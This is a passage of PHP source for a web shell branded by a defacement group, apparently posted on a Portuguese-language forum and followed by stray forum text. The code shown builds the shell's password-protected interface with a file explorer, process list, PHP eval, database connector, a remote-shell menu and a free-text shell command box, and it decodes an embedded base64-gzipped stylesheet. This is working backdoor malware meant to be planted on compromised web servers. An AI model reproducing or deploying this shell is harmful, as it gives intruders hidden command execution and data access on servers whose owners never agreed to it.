 <a href=\"javascript:tukar('chpwdform','chpwd');\">
<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
</a>  
<input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
<input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />
</form>
</span>
</td></tr>
</table>
</td></tr>
</table>";
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title><?php echo $s_title; ?> (Licenciado para SecWarriors)</title>
<link rel="SHORTCUT ICON" href="<?php echo $_SERVER['PHP_SELF']."?favicon"; ?>" />
<style type="text/css"><?php echo gzinflate(base64_decode($style)); ?></style>
<script type="text/javascript" src="<?php echo $_SERVER['PHP_SELF']."?sorttable"; ?>"></script>
<script type="text/javascript">
function tukar(l,b){
if(document.getElementById(l)) document.getElementById(l).style.display = 'none';
if(document.getElementById(b)) document.getElementById(b).style.display = 'block';
if(document.getElementById(l + '_')) document.getElementById(l + '_').focus();
}

function init(){
<?php if(isset($_REQUEST['cmd'])) echo "if(document.getElementById('cmd')) document.getElementById('cmd').focus();"; ?>
}

function clickcmd(){
var buff = document.getElementById('cmd');
if(buff.value == '- shell command -') buff.value = '';
}
</script>
</head>

<body onLoad="init();">
<table id="main"><tr><td><?php if($s_auth){ ?>
<div>
<table id="header">
<tr>
<td style="width:80px;">
<table>
<tr>
<td>
<h1><a href="?"><?php echo $s_name; ?></a></h1>
</td>
</tr>

<tr>
<td style="text-align:right;">
<div class="ver"><?php echo $s_ver; ?></div>
</td>
</tr>
</table>
</td>

<td>
<div class="headinfo"><?php echo $s_info; ?></div>
</td>
</tr>
</table>
</div>
<div style="clear:both;"></div>
<div id="menu">
<table style="width:100%;">
<tr>
<td><a href="?&d=<?php echo $pwd; ?>" title="Explorer"><div class="menumi">xpl</div></a></td>
<td><a href="?ps&d=<?php echo $pwd; ?>" title="Mostrar status do processo"><div class="menumi">ps</div></a></td>
<td><a href="?eval&d=<?php echo $pwd; ?>" title="PHP eval function"><div class="menumi">eval</div></a></td>
<td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Informações sobre o status do PHP"><div class="menumi">php</div></a></td>
<td><a href="?db&d=<?php echo $pwd; ?>" title="Conectar ao database"><div class="menumi">db</div></a></td>
<td><a href="?rs&d=<?php echo $pwd; ?>" title="Shell Remota"><div class="menumi">rs</div></a></td>
<td style="width:100%;padding:0 0 0 6px;">
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"><span class="prompt"><?php echo $s_prompt; ?></span>
<input id="cmd" onclick="clickcmd();" class="inputz" type="text" name="cmd" style="width:70%;" value="<?php if(isset($_REQUEST['cmd'])) echo ""; else echo "- shell command -"; ?>" />
<noscript>
<input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:80px;" /></noscript>
<input type="hidden" name="d" value="<?php echo $pwd; ?>" />
</form>
</td>
</tr>
</table>
</div>
<div id="content" id="box_shell">
<div id="result"><?php echo $s_result; ?></div>
</div><?php } else{ ?>

<div style="width:100%;text-align:center;">
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<img src="?favicon" style="margin:2px;vertical-align:middle;" />
<?php echo $s_name; ?> 
<span class="gaya">
<?php echo $s_ver; ?>
</span>
<input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" />
<input class="inputzbut" type="submit" value="Go !" name="submitlogin" style="width:80px;" />
</form>
</div>

<?php
} ?>

</td>
</tr>
</table>
<p class="footer">Psikow Technologies - Defaced International Hacking Team ©<?php echo date("Y",time())." ".$s_name; ?></p>
</body>
</html>

"Aumentando 10 caracteres.."

Unconfigured Ad Widget

Anúncio

shell

shell

Comment

Comment

Comment

Comment

Comment

Comment